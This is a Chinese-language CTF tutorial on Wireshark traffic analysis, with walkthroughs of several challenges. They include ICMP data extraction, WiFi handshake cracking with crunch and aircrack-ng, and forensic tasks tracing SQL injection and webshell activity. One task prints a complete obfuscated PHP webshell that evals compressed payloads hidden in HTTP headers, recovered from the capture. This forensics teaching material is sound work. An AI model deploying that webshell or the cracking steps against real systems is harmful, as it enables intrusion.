流量分析
流量分析是CTF里面的常见题目,通常会给我们一堆数据包,然后让我们用Wireshark分析流量包里面的内容排除无关信息然后获取隐藏的flag
- 链接:https://pan.baidu.com/s/1I-YQhV2VVGE1DZXb_WlnSA?pwd=c93i
提取码:c93i - 工具: https://www.wireshark.org/download.html
Wireshark使用
数据包筛选
ip的筛选
筛选源ip
- 方法一
ip.src == 源ip地址
- 方法二
右击
Source Address
字段,再选择作为过滤器应用
–-> 最后点击选中
,就可筛选出该源IP的所有包了
目的ip筛选
ip.dst==目的ip地址
- 方法一
- 方法二
右击
Destination Address字段,再选择
作为过滤器应用–-> 最后点击
选中`,就可筛选出该源IP的所有包了
筛选符合要求的ip,可以是源地址或目标地址。
ip.addr==<ip>
Wireshark 同时支持逻辑运算符和位运算符可以更加方便的筛选我们想用的数据包
这里筛选
MAC地址赛选
- eth.dst ==A0:00:00:04:C5:84 筛选目标mac地址
-
- eth.addr==A0:00:00:04:C5:84 筛选MAC地址
端口筛选
- tcp.dstport == 80 筛选tcp协议的目标端口为80的流量包
-
- tcp.srcport == 80 筛选tcp协议的源端口为80的流量包
-
- udp.dstport == 80 筛选udp协议的目标端口为80的流量包
协议筛选
- tcp 筛选协议为tcp的流量包
-
- udp 筛选协议为udp的流量包
-
- arp/icmp/http/ftp/dns/ip 筛选协议为arp/icmp/http/ftp/dns/ip的流量包
包长度筛选
- udp.length ==20 筛选长度为20的udp流量包
-
- tcp.len >=20 筛选长度大于20的tcp流量包
-
- ip.len ==20 筛选长度为20的IP流量包
-
- frame.len ==20 筛选长度为20的整个流量包
其他同理
http请求筛选
- 请求方法为GET:http.request.method==“GET” 筛选HTTP请求方法为GET的 流量包
-
- 请求方法为POST:http.request.method==“POST” 筛选HTTP请求方法为POST的流量包
-
- 指定URI:http.request.uri==“/img/logo-edu.gif” 筛选HTTP请求的URL为/img/logo-edu.gif的流量包
-
- 请求或相应中包含特定内容:http.request.uri contains "/FLAG" 筛选HTTP内容为/FLAG的流量包
数据包搜索
WireShark
界面按CTRL+F
可以进行关键字搜索,搜索功能支持多种
数据包还原
选择数据包-->右击-->最追踪流-->选择类型
数据包提取
- 自动提取
文件-->导出对象-->HTTP
选择你需要的数据包然后点Save
保存 或者 Sava All
保存所有的对象然后放入文件夹进行分析
题型分析
入门题
Cephalopod(图片提取)
下载文件然后打开Wireshark
搜索flag然后找到长度比较大的流量包追踪流
之后保存原始数据导出
然后删除多余部分保留PNG
HITB{95700d8aefdc1648b90a92f3a8460a2c}
题目:特殊后门(icmp协议信息传输)
题目来源:第七届山东省大学生网络安全技能大赛
考点:字符串搜索,icmp协议信息传输
题目信息:(backdoor++.pcapng)
选出ICMP
包之后跟着找每一个包里面有一个flag的字符
flag{Icmp_backdoor_can_transfer-some_infomation}
题目:手机热点(蓝牙传输协议obex,数据提取)
题目来源:第七季极客大挑战
考点:蓝牙传输协议obex,数据提取
题目信息:(Blatand_1.pcapng)
搜索发现有一个rar压缩包
导出
题目:想蹭网先解开密码(无线密码破解)
题目来源:bugku
考点:无线密码破解
题目信息:(wifi.cap)
WIFI认证存在四次握手包eapol协议的数据包
使用kali的Crunch
生成字典
- 语法
crunch <min> <max> [options]
- 参数
- min 设定最小字符串长度(必选)
- max 设定最大字符串长度(必选)
-
- oprions
- -b 指定文件输出的大小,避免字典文件过大
- -c 指定文件输出的行数,即包含密码的个数
- -d 限制相同元素出现的次数
- -e 定义停止字符,即到该字符串就停止生成
- -f 调用库文件(/etc/share/crunch/charset.lst)
- -i 改变输出格式,即aaa,aab -> aaa,baa
- -I 通常与-t联合使用,表明该字符为实义字符
- -m 通常与-p搭配
- -o 将密码保存到指定文件
- -p 指定元素以组合的方式进行
- -q 读取密码文件,即读取pass.txt
- -r 定义重某一字符串重新开始
- -s 指定一个开始的字符,即从自己定义的密码xxxx开始
- -t 指定密码输出的格式
- -u 禁止打印百分比(必须为最后一个选项)
- -z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
- 特殊字符
- % 代表数字
- ^ 代表特殊符号
- @ 代表小写字母
- , 代表大写字符
使用aircrack-ng
对数据包进行密码爆破
使用教程: https://www.jianshu.com/p/fd16236057df
进阶题
题目:抓到一只苍蝇(数据包筛选,数据提取)
题目来源:bugku
考点:数据包筛选,数据提取
题目信息:(misc_fly.pcapng)
- 先搜索flag
发现一个flag.txt文件
该数据包是通过qq邮箱传的一些文件
然后搜索关键字
通过POST传入了一个rar文件
筛选POST
协议
这里调用了2个函数,中间应该是传输的过程发送的数据包
CreateFile
CheckFile
两个文件的md5值一样然后从中间的数据包大小可以看出来
几个数据包加起来
131436*4+1777=527,521减去压缩包的大小为1820 这1820 是5个数据包头的大小364
使用Linux可以把五个数据包包头去掉然后合成一个rar文件
具体命令dd:
- dd if=1 bs=1 skip=364 of=1.1
-
- dd命令语法:
- if 输入文件名
- bs 设置每次读写块的大小为1字节
- skip 指定从输入文件开头跳过多少个块后再开始复制
- of 输出文件名
然后导出对应的文件(看分组序号) 然后倒入kali
- ┌──(root㉿kali)-[/home/kali/test]
- └─# dd if=1 bs=1 skip=364 of=11
- 131072+0 records in
- 131072+0 records out
- 131072 bytes (131 kB, 128 KiB) copied, 2.06969 s, 63.3 kB/s
-
- ┌──(root㉿kali)-[/home/kali/test]
- └─# dd if=2 bs=1 skip=364 of=22
- 131072+0 records in
- 131072+0 records out
- 131072 bytes (131 kB, 128 KiB) copied, 2.03437 s, 64.4 kB/s
-
- ┌──(root㉿kali)-[/home/kali/test]
- └─# dd if=3 bs=1 skip=364 of=33
- 131072+0 records in
- 131072+0 records out
- 131072 bytes (131 kB, 128 KiB) copied, 2.08859 s, 62.8 kB/s
-
- ┌──(root㉿kali)-[/home/kali/test]
- └─# dd if=4 bs=1 skip=364 of=44
- 131072+0 records in
- 131072+0 records out
- 131072 bytes (131 kB, 128 KiB) copied, 2.04758 s, 64.0 kB/s
-
- ┌──(root㉿kali)-[/home/kali/test]
- └─# dd if=5 bs=1 skip=364 of=55
- 1413+0 records in
- 1413+0 records out
- 1413 bytes (1.4 kB, 1.4 KiB) copied, 0.0234734 s, 60.2 kB/s
-
- ┌──(root㉿kali)-[/home/kali/test]
- └─# ls
- 1 11 2 22 3 33 4 44 5 55
- ┌──(root㉿kali)-[/home/kali/test]
- └─# cat 11 22 33 44 55 > flag.rar
-
- ┌──(root㉿kali)-[/home/kali/test]
- └─# ls
- 1 11 2 22 3 33 4 44 5 55 flag.rar
然后打开压缩包发现文件头损坏
84改为80
这是个exe可执行文件
... 脏东西
binwalk 提取下
一堆png文件
然后用formost
提取出来
扫描二维码获取flag
https://online-barcode-reader.inliteresearch.com
flag{m1Sc_oxO2_Fly}
数据分析题
题目一(1.pcap)
题目来源:2018信息安全铁人三项数据赛
题目要求:
1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
4.第一个受害主机网站数据库的名字
打开了流量包然后筛选HTTP协议
可以看出攻击者的ip地址是202.1.12
受害者的ip为192.168.1.8
然后注入的参数为list[select]
数据库前缀ajtuc_
(ip.addr==202.1.1.2 or ip.addr==192.168.1.8) and http
找到最后一次注入的记录进行url解码
数据库名:joomla
题目二(2.pcap)
题目要求:
1.黑客第一次获得的php木马的密码是什么
2.黑客第二次上传php木马是什么时间
3.第二次上传的木马通过HTTP协议中的哪个头传递数据
(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and http
- php木马密码
通过之前的过滤找到一个可以的POST
注入的数据包
数据包里面的POST
可以看出这个是中国菜刀的一个流量特征 然后这里的木马密码就为zzz
-
第二次上传木马的时间
通过过滤获得数据包因为第一次是通过POST传上去的马然后就可以直接锁定协议
(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and http.request.method=="POST"
可疑数据包
就只有一个item值为z2的数据包应该可以判断是这个数据包了然后通过十六进制提取出来导入HXD就可以还原代码
代码很乱是被混淆过后的代码
- <?php
- $p = 'l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
- $d = ']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
- $W = '),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
- $e = ']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
- $E = '>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
- $t = '($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
- $M = ']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
- $P = ']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
- $j = str_replace('fr', '', 'cfrrfreatfrfre_funcfrtfrion');
- $k = '];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
- $g = '"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
- $R = '$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
- $Q = ']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
- $v = ']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
- $x = str_replace('>]', '', $R . $g . $k . $e . $d . $M . $p . $t . $P . $Q . $v . $W . $E);
- $N = $j('', $x);
- $N();
- ?>
应该就是第二次上传的木马了
时间17:20:44.248365
这里有一个http有关的参数
然后通过过滤发现kkkaaa.php
后面的数据包全是footer.php
通过追踪流发现
Referer
指向的是攻击者的8080端口所以 是通过Referer
头传递的数据
题目三(3.pcap)
题目来源:2018信息安全铁人三项数据赛
题目要求:
1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
2.php代理第一次被使用时最先连接了哪个IP地址
打开数据包根据题目要求是要找到mysql的用户名和密码然后就可以直接关键字搜索
tcp contains "mysql" and mysql
找到最后一次的登录数据
md5值为Password: 1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
php代理访问是通过http协议可以通过之前找到的两个ip地址过滤出http协议然后发现后续的通信使用的是一个名字为tunnel.php
的一个文件
这里该文件是通过post传参然后过滤POST参数
可以获得第一次连接的ip为4.2.2.2
题目四(4.pcap)
题目来源:2018信息安全铁人三项数据赛
题目要求:
1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
2.黑客在内网主机中添加的用户名和密码是多少
3.黑客从内网服务器中下载下来的文件名
- 黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
根据题目要求获取当前目录的文件列表的漏洞利用请求是什么时候可以搜索关键字dir
或者ls
来查找数据包
(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and (http contains "dir" or http contains "ls")
然后发现ls
和dir
然后追踪流发现 ls里面没有数据则这台主机是Windows
的主机
追踪dir
的http流
命令执行成功然后返回了路径所以
第一次获取到当前目录下的文件列表的漏洞利用请求发生在:2018 18:36:59.770782
- 黑客在内网主机中添加的用户名和密码是多少
在主机添加用户的话就可以直接锁定ip主机了,这里是通过远程命令执行也可以直接选定协议为http可以过滤出更精准的数据包
ip.addr==192.168.2.20 and http
这里可以查到一个类似于一句话木马的语句,然后后面都是以该文件来执行的,说明现在又写入了一个后门文件名为sh.php
的后门文件
然后过滤
ip.src==192.168.2.20 and http
后面根据时间线来逐个查找数据包
然后找到一个net user
的数据包
然后通过时间线逐步往下看
发现了其他的用户名字为kaka
时间为:18:50:45.908737
后面通过时间线找到密码
因为在后面成功添加用户查找密码可以直接往上面的数据包进行查找,也就是18:50:45.908737 之前
然后进行解码所以密码为kaka
- 黑客从内网服务器中下载下来的文件名
从最开始的流量特征来看是通过菜刀来连接webshell的然后我们可以直接通过ip加请求方式过滤出一部分数据包在这些数据包里面挑选
ip.dst == 192.168.2.20 and http.request.method==POST
下载文件的话,是在提权之后才可以下载的也就应该是增加了用户之后来下载的可以直接按时间线过滤一部分数据包
在这一堆数据包里面找
对这些数据包进行逐个解码发现下载的文件为procdump.exe